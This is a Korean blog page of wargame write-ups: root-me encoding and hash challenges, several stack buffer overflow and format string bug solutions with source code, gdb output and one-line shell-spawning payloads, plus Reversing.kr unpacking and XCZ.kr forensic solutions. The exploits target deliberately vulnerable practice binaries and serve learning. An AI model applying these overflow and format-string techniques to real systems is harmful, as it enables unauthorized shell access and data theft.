반응형
반응형
반응형

Encoding - ASCII


그냥 hex 2 ascii




Encoding - UU


UUencode라는 것으로 인코딩 된 문자열이다. 디코딩해주면 된다.



Hash - Message Digest 5


md5디크립트 하면 된다.




Hash - SHA-2


해시에 'k'가 존재할 수 없다. k를 빼주고 복호화 한뒤에 다시 sha1로 해시화하면 된다.




Shift cipher



bin 파일 hxd로 열어서 hex값을 구한다.


문제 제목이 shift라서 각 바이트에 1씩 감소시키는 코드를 쓰윽 작성해주었다.


1
2
3
4
5
6
7
list_ = [0x4C0x7C0x6B0x800x790x2B0x2A0x5E0x7F0x2A0x7A0x6F0x7F0x820x2A0x800x6B0x760x730x6E0x6F0x7C0x2A0x6B0x800x6F0x6D0x2A0x760x6F0x2A0x7A0x6B0x7D0x7D0x2A0x630x790x760x6B0x730x720x7F0x140x0A]
for i in range(0,256):
    flag = ""
    for j in list_ :
        flag += chr(j - i)
    print(flag)
 
cs



그럼 평문을 찾을 수 있다.



File - PKZIP


암호가 걸려있는 zip파일이 주어진다.

AZPR을 이용해서 브포를 돌려주면 풀린다.

pw는 5자리 정수로 이루어져 있다. 구한 압축파일 비밀번호를 인증에 사용하면 된다.


반응형
반응형

root-me.org [APP - SYSTEM] ELF x64 - Stack buffer overflow - basic 풀이



문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
 
void callMeMaybe(){
    char *argv[] = { "/bin/bash""-p"NULL };
    execve(argv[0], argv, NULL);
}
 
int main(int argc, char **argv){
 
    char buffer[256];
    int len, i;
 
    scanf("%s", buffer);
    len = strlen(buffer);
 
    printf("Hello %s\n", buffer);
 
    return 0;
}
cs


buffer[256]에 크기제한없이 scanf()을 통해 입력받으므로 bof가 발생한다.



이제 gdb를 이용해 리턴주소를 덮을 callMeMaybe()함수의 주소와, buffer[256]의 위치를 알아내야 한다.



(gdb) disas callMeMaybe

Dump of assembler code for function callMeMaybe:

   0x00000000004005e7 <+0>: push   rbp

   0x00000000004005e8 <+1>: mov    rbp,rsp

   0x00000000004005eb <+4>: sub    rsp,0x20



64비트에서 리턴주소는 6bit만 사용하므로 덮어야 하는 값은 0x0000004005e7이다.



(gdb) disas main
Dump of assembler code for function main:
...
   0x000000000040065b <+51>: lea    rax,[rbp-0x110]
   0x0000000000400662 <+58>: mov    rdi,rax
   0x0000000000400665 <+61>: call   0x4004c0 <strlen@plt>   
... 
End of assembler dump.

buffer[256]은 rbp-0x110에 있다. 0x110은 272바이트로, dummy가 272-256=16 바이트만큼 존재함을 알 수 있다.


buffer[256]+dummy[16]+SFP[8]를 덮고 위에서 찾은 함수주소를 더 덮어주면 될 것 같다.


exploit
(python -c 'print "A"*280+"\xe7\x05\x40\x00\x00\x00"'; cat) | ./ch35



반응형
반응형

root-me.org [APP - SYSTEM] Format string bug basic 1 풀이


문제소스:


1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <unistd.h>
 
int main(int argc, char *argv[]){
        FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd""rt");
        char buffer[32];
        fgets(buffer, sizeof(buffer), secret);
        printf(argv[1]);
        fclose(secret);
        return 0;
}
cs


.passwd파일을 불러와 buffer에 32바이트만큼 저장하고

argv[1]을 출력하고 끝냅니다.


printf(argv[1])에서 포맷스트링 버그가 발생합니다.


argv[1]에 %x를 넣어준다면 스택에서 4바이트씩 증가하며 저장된 값을 읽어올 수 있다.


.passwd의 값은 buffer에 저장되어있고 buffer는 스택 어딘가에 존재할 것이다.


%08x를 이용해 스택을 잔뜩 긁어와 보았다.



app-systeme-ch5@challenge02:~$ ./ch5 %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

000000200804b008b7e562f30000000008049ff400000002bffffbb4bffffcd30000002f0804b00839617044282936646d61704500000a64b7e564adb7fd03c4b7fff00008048579defc6f00080485700000000000000000b7e3caf300000002bffffbb4bffffbc0b7fece6a00000002bffffbb4bffffb540804a0140804825cb7fd0000000000000000000000000000d13a6d6be959497b




그리고 다 아스키로 돌렸다.



 °·åbóŸô¿ÿû´¿ÿüÓ/°9apD()6dmapE

d·åd­·ýÄ·ÿð…yÞüo…p·ãÊó¿ÿû´¿ÿûÀ·þÎj¿ÿû´¿ÿûT ‚\·ýÑ:mkéYI{


읽을 수 있는 문자열이 존재했다. 리틀엔디안 방식으로 저장되어 있기 때문에 4바이트씩 날리고 빅엔디안으로 바꾸는 작업을 했주었다.


1) 39617044 28293664 6d617045 00000a64


리틀엔디안 -> 빅엔디안


2) 44706139 64362928 4570616d 64


hex -> ascii


3) Dpa9d6)(Epamd



반응형
반응형

root-me.org 

[APP - SYSTEM] 

ELF x86 - Stack buffer overflow basic 2 풀이


문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
 
#include <stdio.h>
#include <stdlib.h>
 
void shell() {
    system("/bin/dash");
}
 
void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
 
main()
{
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}
 
cs



buf의 크기는 128바이트인데, fgets함수로 133만큼 입력을 받으므로 bof가 발생한다.

void (*func)()의 값을 shell() 함수의 주소로 덮어주면 된다.


shell() 함수의 주소를 gdb를 이용해 구할 수 있다.


app-systeme-ch15@challenge02:~$ gdb -q ch15

Reading symbols from ch15...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel 

(gdb) disas shell

Dump of assembler code for function shell:

   0x08048464 <+0>: push   ebp

   0x08048465 <+1>: mov    ebp,esp

   0x08048467 <+3>: sub    esp,0x18

   0x0804846a <+6>: mov    DWORD PTR [esp],0x80485a0

   0x08048471 <+13>: call   0x8048380 <system@plt>

   0x08048476 <+18>: leave  

   0x08048477 <+19>: ret    

End of assembler dump.


shell() : 0x08048464



exploit!


(python -c 'print "A"*128+"\x64\x84\x04\x08"'; cat) | ./ch14


반응형
반응형

root-me.org 

[APP - SYSTEM] 

ELF x86 - Stack buffer overflow basic 1 풀이


문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
 
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
 
 
int main()
{
 
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x04030201&& (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
 
  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}
cs


buf의 크기는 40바이트인데, fgets 함수로 45바이트 만큼 buf에 입력을 받으므로 bof가 발생한다.


스택구조는 아래와 같으므로 40바이트만큼 아무 값으로 채워주고, 다음 4바이트를 0xdeadbeef로 채워주면 check의 값을 조작할 수 있다.


낮은주소


char buf[40] <- "A"*40

int check <- "\xef\xbe\xad\xde"

int var


높은주소


exploit


(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./ch13


반응형

반응형

ReadMe.txt

ReversingKr UnpackMe



Find the OEP


ex) 00401000



OEP = 제대로 디버깅했을 때 시작위치 (Pack된 파일이 Unpack되어서 원본파일이 되는 순간.)




일단 무엇으로 packing되었는지를 알 수 없다.





올리디버거로 열어서 스크롤을 내려보았다.

jmp문이 있다. 여기에 breakpoint을 걸고 실행한다.


그다음 jmp문을 실행한다.




push ebp 여기가 oep다.



authkey : 401150





반응형

'WAR GAME > Reversing.kr' 카테고리의 다른 글

Reversing.kr [Music Player] 풀이  (0) 2018.11.03
Reversing.kr [Easy Keygen] 풀이  (0) 2018.06.19
Reversing.kr [Easy Crack] 풀이  (0) 2018.06.19
반응형

Title
File Deleted

Description
Korean
피시방에서 아동 청소년 보호법에 위배되는 파일을 소지한 기록을 발견했다.
아래의 형식에 맞춰 증거를 수집해라.

시간은 GMT+9 입니다. lowercase(md5(원본 경로_만들어진 시간_마지막 실행 된 시간_쓰인 시간_볼륨 시리얼))
ex)lowercase(md5(C:\XCZ\key.txt_20121021160000_20131022000000_20131022000000_AAAA-BBBB))





FTK Imager 로 열어보았다.



파일들을 잘 뒤져보면, s3c3r7t.avi.lnk 파일이 보인다. 해당 파일을 추출했다.





파일 속성을 보면 원본 파일의 경로를 알 수 있다.



이 외의 정보들을 알아보기 위해 010 editor에서 lnk 템플렛을 사용해 분석해보았다.



필요한 시각 3개 모두 찾을 수 있다. 기준이 UTC로 되어있기 때문에 9시간을 더해주어야 한다.





볼륨 시리얼도 확인할 수 있다. 볼륨 시리얼은 리틀엔디안으로 읽어야 해서 D0A8-02A9가 된다.



 


H:\study\s3c3r7.avi_20131016135210_20131016232450_20131016193747_D0A8-02A9



authkey : 66f67cd42c58763fd8d58eed6b5bfdba





반응형

'WAR GAME > XCZ.kr' 카테고리의 다른 글

XCZ.kr [prob 35] 풀이  (0) 2018.09.14
XCZ.kr [prob 34] 풀이  (0) 2018.09.14
XCZ.kr [prob 33] 풀이  (0) 2018.09.14
XCZ.kr [prob 32] 풀이  (0) 2018.09.14
XCZ.kr [prob 31] 풀이  (0) 2018.09.14

+ Recent posts